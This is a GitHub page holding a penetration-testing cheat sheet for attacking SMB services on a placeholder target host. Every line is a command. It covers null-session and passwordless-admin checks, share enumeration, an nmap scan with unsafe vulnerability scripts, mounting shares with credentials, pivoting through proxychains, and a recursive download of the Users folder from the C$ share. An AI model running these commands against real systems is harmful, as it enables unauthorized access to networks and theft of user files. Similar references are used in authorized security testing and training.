-
Notifications
You must be signed in to change notification settings - Fork 35
/
Target.Host.Service.SMB.txt
57 lines (39 loc) · 1.71 KB
/
Target.Host.Service.SMB.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
`` Check remote target access
~> net use \\VAR_TARGET_HOST\C$
~> dir \\VAR_TARGET_HOST\C$
`` Enumeration
-- NetBIOS information
~$ nbtscan -vh VAR_TARGET_HOST
-- Version if anything else fails
~$ smbver.sh
-- Check for permissions first
~$ smbmap -H VAR_TARGET_HOST
-- Anything more?
~$ enum4linux -a VAR_TARGET_HOST
-- Null session allowed?
~$ smbclient -N -L VAR_TARGET_HOST
~> net use \\VAR_TARGET_HOST\IPC$ "" /u:""
-- Passwordless admin?
~$ smbclient //VAR_TARGET_HOST/ipc$ -U Administrator
`` Vulnerability scanning
~$ nmap -v -n -p 139,445 -sS -g 53 --script=smb-double-pulsar-backdoor,"smb-enum-*",smb-ls,smb-mbenum,smb-enum-users,smb-os-discovery,smb-print-text,smb-psexec,smb-security-mode,smb-server-stats,"smb-vuln-*","smb2-*" --script-args=vulns.showall --script-args=unsafe=1 VAR_TARGET_HOST
`` Shares listing
~> net view \\VAR_TARGET_HOST /all
~$ smbmap -u VAR_USERNAME -p VAR_PASSWORD -H VAR_TARGET_HOST
~$ nmap --script smb-enum-shares -p139,445 -v -n --open VAR_TARGET_HOST
~$ smbclient -U "VAR_USERNAME%VAR_PASSWORD" \\\\VAR_DOMAIN\SYSVOL
`` Share mount
~$ mount -t cifs //VAR_TARGET_HOST/share /mnt/tmp -o,username=VAR_TARGET_DOMAIN/VAR_USERNAME,password=VAR_PASSWORD,vers=2.0
# SMBv2
`` Various
~$ nbtscan -r VAR_TARGET_HOST
~$ smbclient //VAR_TARGET_HOST/ipc$
~$ smbclient //VAR_TARGET_HOST/admin$
~$ smbclient -W VAR_TARGET_DOMAIN -U user -L VAR_TARGET_HOST
~$ proxychains smbclient '//VAR_TARGET_HOST/C$' -U 'VAR_TARGET_DOMAIN/VAR_USERNAME%VAR_PASSWORD'
`` Recursive download
~$ smbclient -N //VAR_TARGET_HOST/C$
smb: \> mask ""
smb: \> prompt
smb: \> recurse
smb: \> mget Users